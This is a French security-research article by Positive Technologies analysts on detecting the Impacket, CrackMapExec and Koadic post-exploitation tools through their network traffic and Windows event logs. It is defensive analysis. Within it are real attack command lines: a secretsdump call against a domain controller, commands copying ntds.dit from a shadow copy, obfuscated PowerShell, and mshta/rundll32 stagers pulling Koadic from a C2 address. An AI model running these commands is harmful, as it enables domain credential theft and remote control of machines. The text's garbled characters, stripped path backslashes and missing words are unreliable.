Chaque annĂ©e, le nombre d'attaques dans le secteur corporate augmente : par exemple que en 2016, et selon les rĂ©sultats de 2018 â , par rapport Ă la pĂ©riode prĂ©cĂ©dente. Cela inclut Ă©galement ceux oĂč le principal outil de travail est le systĂšme d'exploitation Windows. Entre 2017 et 2018, les groupes APT Dragonfly, APT28, ont menĂ© des attaques contre des organismes gouvernementaux et militaires en Europe, en AmĂ©rique du Nord et en Arabie Saoudite. Ils ont utilisĂ© trois outils â , et . Leur code source est ouvert et disponible sur GitHub.
Il convient de noter que ces outils ne sont pas utilisĂ©s pour la pĂ©nĂ©tration initiale, mais pour le dĂ©veloppement des attaques au sein de l'infrastructure. Les cybercriminels les utilisent Ă diffĂ©rentes Ă©tapes de l'attaque, suivant le contournement du pĂ©rimĂštre. Cela, soit dit en passant, est difficile Ă dĂ©tecter et souvent seulement grĂące aux technologies ou Ă des outils permettant . Ces outils offrent de nombreuses fonctionnalitĂ©s â du transfert de fichiers Ă l'interaction avec le registre et Ă l'exĂ©cution de commandes sur une machine distante. Nous avons menĂ© une recherche sur ces outils afin de dĂ©terminer leur activitĂ© rĂ©seau.
Ce que nous devions faire :
- Comprendre le fonctionnement des outils des hackers.Savoir ce dont les attaquants ont besoin pour exploiter et quelles technologies ils peuvent utiliser.
- Trouver ce qui n'est pas dĂ©tectĂ© par les moyens de sĂ©curitĂ© de l'information aux premiers stades de l'attaque.La phase de reconnaissance peut ĂȘtre ignorĂ©e, soit parce que l'attaquant est un interne malveillant, soit parce que l'attaquant exploite une faille dans l'infrastructure qui n'Ă©tait pas connue auparavant. Il devient possible de reconstruire toute la chaĂźne de ses actions, d'oĂč le dĂ©sir de dĂ©tecter de nouveaux mouvements.
- Ăliminer les fausses alertes des systĂšmes de dĂ©tection d'intrusion.Il ne faut pas non plus oublier que la dĂ©tection de certaines actions uniquement sur la base d'un renseignement peut entraĂźner des erreurs frĂ©quentes. En gĂ©nĂ©ral, l'infrastructure dispose d'un nombre suffisant de moyens, indiscernables Ă premiĂšre vue, pour obtenir des informations.
Que donnent ces outils aux attaquants ? Si c'est Impacket, les malfaiteurs obtiennent une vaste bibliothĂšque de modules pouvant ĂȘtre utilisĂ©s Ă diffĂ©rentes Ă©tapes de l'attaque, aprĂšs avoir franchi le pĂ©rimĂštre. De nombreux outils utilisent les modules d'Impacket en interne, comme Metasploit. Il contient dcomexec et wmiexec pour l'exĂ©cution Ă distance de commandes, secretsdump pour obtenir des comptes Ă partir de la mĂ©moire, qui sont ajoutĂ©s Ă partir d'Impacket. Ainsi, une dĂ©tection correcte de l'activitĂ© de cette bibliothĂšque garantira Ă©galement la dĂ©tection des dĂ©rivĂ©s.
Ă propos de CrackMapExec (ou simplement CME), ses crĂ©ateurs n'ont pas Ă©crit par hasard « Powered by Impacket ». De plus, CME a en lui des fonctionnalitĂ©s prĂȘtes pour des scĂ©narios populaires : il s'agit de Mimikatz pour obtenir des mots de passe ou leurs hachages, d'intĂ©grer Meterpreter ou l'agent Empire pour l'exĂ©cution Ă distance, et Bloodhound Ă bord.
Le troisiÚme outil que nous avons choisi est Koadic. Il est relativement récent, présenté lors de la conférence de hackers DEFCON 25 en 2017, et se distingue par son approche non conventionnelle : fonctionnement via HTTP, JavaScript et Microsoft Visual Basic Script (VBS). Cette approche est appelée living off the land : l'outil utilise un ensemble de dépendances et de bibliothÚques intégrées dans Windows. Ses créateurs l'appellent COM Command & Control, ou C3.
IMPACKET
La fonctionnalité d'Impacket est trÚs large, allant de la reconnaissance à l'intérieur d'AD et de la collecte de données sur des serveurs internes MS SQL, jusqu'aux techniques d'obtention d'identifiants : il s'agit de l'attaque SMB relay, et de l'obtention du fichier ntds.dit à partir du contrÎleur de domaine, contenant des hachages de mots de passe d'utilisateurs. Impacket exécute également des commandes à distance, en utilisant quatre méthodes différentes : via WMI, un service de gestion du planificateur Windows, DCOM et SMB, et pour cela, il a besoin d'identifiants.
Secretsdump
Examinons secretsdump. C'est un module qui peut cibler à la fois les machines des utilisateurs et les contrÎleurs de domaine. Grùce à lui, on peut obtenir des copies des zones de mémoire LSA, SAM, SECURITY, NTDS.dit, ce qui le rend visible à différentes étapes de l'attaque. La premiÚre étape de fonctionnement du module est l'authentification via SMB, pour laquelle il faut soit le mot de passe de l'utilisateur, soit son hachage pour mener automatiquement une attaque Pass the Hash. Ensuite, il y a une demande d'accÚs au Service Control Manager (SCM) et d'accÚs au registre via le protocole winreg, qui permet à l'attaquant de connaßtre les données des branches qui l'intéressent et d'obtenir les résultats via SMB.
Sur la fig. 1, nous voyons comment, Ă l'aide du protocole winreg, l'accĂšs Ă la clĂ© du registre avec LSA est obtenu. Pour cela, on utilise la commande DCERPC avec l'opcode 15 â OpenKey.

Fig. 1. Ouverture de la clé de registre via le protocole winreg
Ensuite, une fois l'accÚs à la clé obtenu, les valeurs sont sauvegardées avec la commande SaveKey ayant l'opcode 20. Impacket réalise cela de façon assez spécifique. Il enregistre les valeurs dans un fichier dont le nom est une chaßne de 8 caractÚres aléatoires suivie de .tmp. De plus, le téléchargement de ce fichier se fait ensuite via SMB à partir du répertoire System32 (fig. 2).

Fig. 2. Schéma d'obtention de la clé de registre depuis une machine distante
Ainsi, il est possible de dĂ©tecter une telle activitĂ© sur le rĂ©seau grĂące aux requĂȘtes Ă certaines branches du registre via le protocole winreg, Ă des noms spĂ©cifiques, des commandes et leur ordre.
Ce module laisse également des traces dans le journal des événements Windows, ce qui facilite sa détection. Par exemple, suite à l'exécution de la commande
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCdans le journal de Windows Server 2016, nous verrons la séquence d'événements clé suivante :
1. 4624 â Logon distant.
2. 5145 â VĂ©rification des droits d'accĂšs au service distant winreg.
3. 5145 â VĂ©rification des droits d'accĂšs au fichier dans le rĂ©pertoire System32. Le fichier a un nom alĂ©atoire, mentionnĂ© ci-dessus.
4. 4688 â CrĂ©ation du processus cmd.exe, qui exĂ©cute vssadmin :
âC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 â CrĂ©ation du processus avec la commande :
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 â crĂ©ation de processus avec la commande :
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 â crĂ©ation de processus avec la commande :
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Comme pour de nombreux outils de post-exploitation, Impacket dispose de modules pour l'exécution de commandes à distance. Nous allons nous concentrer sur smbexec, qui fournit un shell de commande interactif sur la machine distante. Ce module nécessite également une authentification via SMB, soit par mot de passe, soit par son hash. à la figure 3, nous voyons un exemple de fonctionnement de cet outil, en l'occurrence la console de l'administrateur local.

Figure 3. Console interactive smbexec
La premiĂšre Ă©tape de fonctionnement de smbexec aprĂšs l'authentification est d'ouvrir le SCM avec la commande OpenSCManagerW (15). La requĂȘte est remarquable : dans celle-ci, le champ MachineName a la valeur DUMMY.

Figure 4. RequĂȘte pour ouvrir le Gestionnaire de contrĂŽle des services
Ensuite, un service est créé Ă l'aide de la commande CreateServiceW (12). Dans le cas de smbexec, nous pouvons voir Ă chaque fois la mĂȘme logique dans la construction de la commande. Ă la figure 5, les paramĂštres inaltĂ©rables de la commande sont mis en Ă©vidence en vert, tandis que ceux que l'attaquant peut modifier sont en jaune. Il est facile de voir que le nom du fichier exĂ©cutable, son rĂ©pertoire et le fichier de sortie peuvent ĂȘtre modifiĂ©s, mais il est beaucoup plus difficile de changer le reste sans enfreindre la logique de fonctionnement du module Impacket.

Figure 5. RequĂȘte de crĂ©ation de service via le Gestionnaire de contrĂŽle des services
Smbexec laisse également des traces évidentes dans le journal des événements Windows. Dans le journal de Windows Server 2016, pour un shell de commande interactive avec la commande ipconfig, nous verrons la séquence clé d'événements suivante :
1. 4697 â installation d'un service sur la machine cible :
%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 â crĂ©ation du processus cmd.exe avec les arguments du point 1.
3. 5145 â vĂ©rification des droits d'accĂšs au fichier __output dans le rĂ©pertoire C$.
4. 4697 â installation d'un service sur la machine cible.
%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 â crĂ©ation du processus cmd.exe avec les arguments du point 4.
6. 5145 â vĂ©rification des permissions d'accĂšs au fichier __output dans le rĂ©pertoire C$.
Impacket est la base du dĂ©veloppement d'outils d'attaque. Il prend en charge presque tous les protocoles dans l'infrastructure Windows tout en ayant ses caractĂ©ristiques propres. Cela inclut les requĂȘtes winreg spĂ©cifiques, l'utilisation de l'API SCM avec une formation de commandes particuliĂšre, le format des noms de fichiers et le partage SMB SYSTEM32.
CRACKMAPEXEC
L'outil CME est principalement conçu pour automatiser les actions répétitives qu'un attaquant doit effectuer pour progresser au sein du réseau. Il permet de travailler en conjonction avec les agents bien connus Empire et Meterpreter. Pour exécuter des commandes de maniÚre discrÚte, CME peut les obfusquer. En utilisant Bloodhound (un outil distinct pour la reconnaissance), l'attaquant peut automatiser la recherche d'une session active d'administrateur de domaine.
Bloodhound
Bloodhound, en tant qu'outil autonome, permet de réaliser des recherches avancées au sein du réseau. Il collecte des données sur les utilisateurs, les machines, les groupes, les sessions et est fourni sous forme de script PowerShell ou de fichier binaire. Pour collecter des informations, il utilise LDAP ou des protocoles basés sur SMB. Le module d'intégration CME permet de charger Bloodhound sur la machine cible, de l'exécuter et d'obtenir les données collectées aprÚs l'exécution, automatisant ainsi les actions dans le systÚme et les rendant moins visibles. L'interface graphique de Bloodhound présente les données collectées sous forme de graphes, ce qui permet de trouver le chemin le plus court entre la machine de l'attaquant et l'administrateur de domaine.

Fig. 6. Interface Bloodhound
Pour s'exécuter sur la machine cible, le module crée une tùche en utilisant ATSVC et SMB. ATSVC est l'interface pour travailler avec le planificateur de tùches Windows. CME utilise sa fonction NetrJobAdd (1) pour créer des tùches sur le réseau. Un exemple de ce que le module CME envoie est montré dans la fig. 7 : il s'agit d'un appel à la commande cmd.exe et de code obfusqué sous forme d'arguments au format XML.

Fig. 7. Création de tùche via CME
AprĂšs que la tĂąche ait Ă©tĂ© soumise Ă l'exĂ©cution, la machine cible lance Bloodhound, et cela peut ĂȘtre observĂ© dans le trafic. Le module est caractĂ©risĂ© par des requĂȘtes LDAP pour obtenir les groupes standard, la liste de toutes les machines et utilisateurs dans le domaine, et obtenir des informations sur les sessions utilisateur actives via la requĂȘte SRVSVC NetSessEnum.

Fig. 8. Obtention de la liste des sessions actives via SMB
De plus, le lancement de Bloodhound sur la machine victime avec l'audit activé s'accompagne d'un événement avec ID 4688 (création de processus) et le nom de processus "C:\Windows\System32\cmd.exe". Ce qui est remarquable, ce sont les arguments de la ligne de commande :
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91, 78, 101, 116, 46, 83, 101, âŠ, (40,41))-jOIN'' ) "Enum_avproducts
Le module enum_avproducts est particuliĂšrement intĂ©ressant du point de vue de la fonctionnalitĂ© et de la mise en Ćuvre. WMI permet, grĂące au langage de requĂȘtes WQL, d'obtenir des donnĂ©es sur divers objets Windows, ce qui est prĂ©cisĂ©ment utilisĂ© par ce module CME. Il gĂ©nĂšre des requĂȘtes vers les classes AntiSpywareProduct et AntiĐirusProduct concernant les outils de protection installĂ©s sur la machine victime. Pour obtenir les donnĂ©es nĂ©cessaires, le module se connecte Ă l'espace de noms root\SecurityCenter2, puis forme une requĂȘte WQL et reçoit une rĂ©ponse. La fig. 9 montre le contenu de telles requĂȘtes et rĂ©ponses. Dans notre exemple, Windows Defender a Ă©tĂ© trouvĂ©.

Fig. 9. Activité réseau du module enum_avproducts
Il arrive souvent que l'audit WMI (Trace WMI-Activity), dont les Ă©vĂ©nements peuvent contenir des informations utiles sur les requĂȘtes WQL, soit dĂ©sactivĂ©. Mais s'il est activĂ©, en cas de lancement du script enum_avproducts, un Ă©vĂ©nement avec l'ID 11 sera enregistrĂ©. Il contiendra le nom d'utilisateur qui a envoyĂ© la requĂȘte et le nom dans l'espace de noms root\SecurityCenter2.
Chaque module CME possĂšde ses propres artefacts, qu'il s'agisse de requĂȘtes WQL spĂ©cifiques ou de la crĂ©ation d'un type de tĂąche spĂ©cifique dans le planificateur de tĂąches avec obfuscation et d'une activitĂ© caractĂ©ristique de Bloodhound dans LDAP et SMB.
KOADIC
La caractĂ©ristique distinctive de Koadic est l'utilisation des interprĂštes JavaScript et VBScript intĂ©grĂ©s Ă Windows. En ce sens, il suit la tendance du living off the land â c'est-Ă -dire qu'il n'a pas de dĂ©pendances externes et utilise les outils standards de Windows. C'est un outil pour le Command & Control (CnC) Ă part entiĂšre, car aprĂšs infection, un "implant" est installĂ© sur la machine permettant de la contrĂŽler. Une telle machine, dans la terminologie de Koadic, est appelĂ©e "zombie". En cas de manque de privilĂšges pour un fonctionnement complet du cĂŽtĂ© de la victime, Koadic a la possibilitĂ© de les Ă©lever en utilisant des techniques de contournement du contrĂŽle de compte utilisateur (UAC bypass).

Fig. 10. Interface de commande de Koadic
La victime doit initier elle-mĂȘme la communication avec le serveur Command & Control. Pour cela, elle doit se connecter Ă un URI prĂ©alablement prĂ©parĂ© et recevoir le corps principal de Koadic via l'un des stagers. La fig. 11 montre un exemple pour le stager mshta.

Fig. 11. Initialisation de la session avec le serveur CnC
D'aprĂšs la variable WS de la rĂ©ponse, il est clair que l'exĂ©cution se fait via WScript.Shell, et que les variables STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contiennent des informations clĂ©s sur les paramĂštres de la session en cours. C'est la premiĂšre paire de requĂȘte-rĂ©ponse dans la connexion HTTP avec le serveur CnC. Les requĂȘtes suivantes sont directement liĂ©es Ă la fonctionnalitĂ© des modules appelĂ©s (implants). Tous les modules Koadic fonctionnent uniquement avec une session active avec CnC.
Mimikatz
Tout comme CME fonctionne avec Bloodhound, Koadic fonctionne avec Mimikatz comme un programme distinct et propose plusieurs mĂ©thodes pour le lancer. Ci-dessous est prĂ©sentĂ©e une paire de requĂȘte-rĂ©ponse pour le tĂ©lĂ©chargement de l'implant Mimikatz.

Fig. 12. Transmission de Mimikatz dans Koadic
On peut observer comment le format de l'URI a changĂ© dans la requĂȘte. Une valeur a Ă©tĂ© ajoutĂ©e Ă la variable csrf, qui correspond au module choisi. Ne faites pas attention Ă son nom ; nous savons tous que le CSRF dĂ©signe gĂ©nĂ©ralement autre chose. La rĂ©ponse contient le mĂȘme corps principal de Koadic, auquel a Ă©tĂ© ajoutĂ© du code liĂ© Ă Mimikatz. Celui-ci est assez volumineux, donc examinons les points clĂ©s. Nous avons devant nous une bibliothĂšque Mimikatz encodĂ©e en base64, une classe .NET sĂ©rialisĂ©e qui va l'injecter, et les arguments pour lancer Mimikatz. Le rĂ©sultat de l'exĂ©cution est transmis sur le rĂ©seau en clair.

Fig. 13. Résultat de l'exécution de Mimikatz sur la machine distante
Exec_cmd
Koadic dispose Ă©galement de modules capables d'exĂ©cuter des commandes Ă distance. Ici, nous observerons la mĂȘme mĂ©thode de gĂ©nĂ©ration d'URI et les variables familiĂšres sid et csrf. Dans le cas du module exec_cmd, le corps contient du code capable d'exĂ©cuter des commandes shell. Ci-dessous est prĂ©sentĂ© ce code, contenu dans la rĂ©ponse HTTP du serveur CnC.

Fig. 14. Code de l'implant exec_cmd
La variable GAWTUUGCFI avec l'attribut WS familier est nĂ©cessaire pour exĂ©cuter le code. GrĂące Ă elle, l'implant appelle le shell, en traitant deux branches de code â shell.exec avec retour du flux de donnĂ©es et shell.run sans retour.
Koadic n'est pas un outil typique, mais possĂšde ses artefacts, par lesquels il peut ĂȘtre dĂ©tectĂ© dans le trafic lĂ©gitime :
- une formation particuliĂšre des requĂȘtes HTTP,
- l'utilisation de l'API winHttpRequests,
- création de l'objet WScript.Shell via ActiveXObject,
- corps exécutable important.
La connexion initiale initie le démarreur, ce qui permet de détecter son activité via les événements Windows. Pour mshta, cet événement 4688 indique la création d'un processus avec l'attribut de lancement :
C:\Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6Lors de l'exĂ©cution de Koadic, d'autres Ă©vĂ©nements 4688 avec des attributs qui le caractĂ©risent bien peuvent ĂȘtre observĂ©s :
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:\Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:\Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:\Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1Conclusions
La tendance living off the land prend de l'ampleur parmi les cybercriminels. Ils utilisent les outils et mĂ©canismes intĂ©grĂ©s Ă Windows pour leurs besoins. Nous voyons comment des outils populaires comme Koadic, CrackMapExec et Impacket, qui respectent ce principe, apparaissent de plus en plus souvent dans les rapports APT. Le nombre de forks sur GitHub pour ces outils augmente Ă©galement, avec de nouvelles versions (il y en a actuellement environ mille). Cette tendance gagne en popularitĂ© en raison de sa simplicitĂ© : les cybercriminels n'ont pas besoin d'outils tiers, ils sont dĂ©jĂ prĂ©sents sur les machines des victimes et aident Ă contourner les protections. Nous nous concentrons sur l'Ă©tude de l'interaction rĂ©seau : chaque outil dĂ©crit ci-dessus laisse ses traces dans le trafic rĂ©seau ; leur Ă©tude dĂ©taillĂ©e nous a permis d'enseigner notre produit Ă les dĂ©tecter, ce qui aide finalement Ă enquĂȘter sur toute la chaĂźne des cyberincidents impliquant ceux-ci.
Auteurs:
- Anton Tyurin, responsable du département des services d'expertise, PT Expert Security Center, Positive Technologies
- Egor Podmokov, expert, PT Expert Security Center, Positive Technologies
Source : habr.com
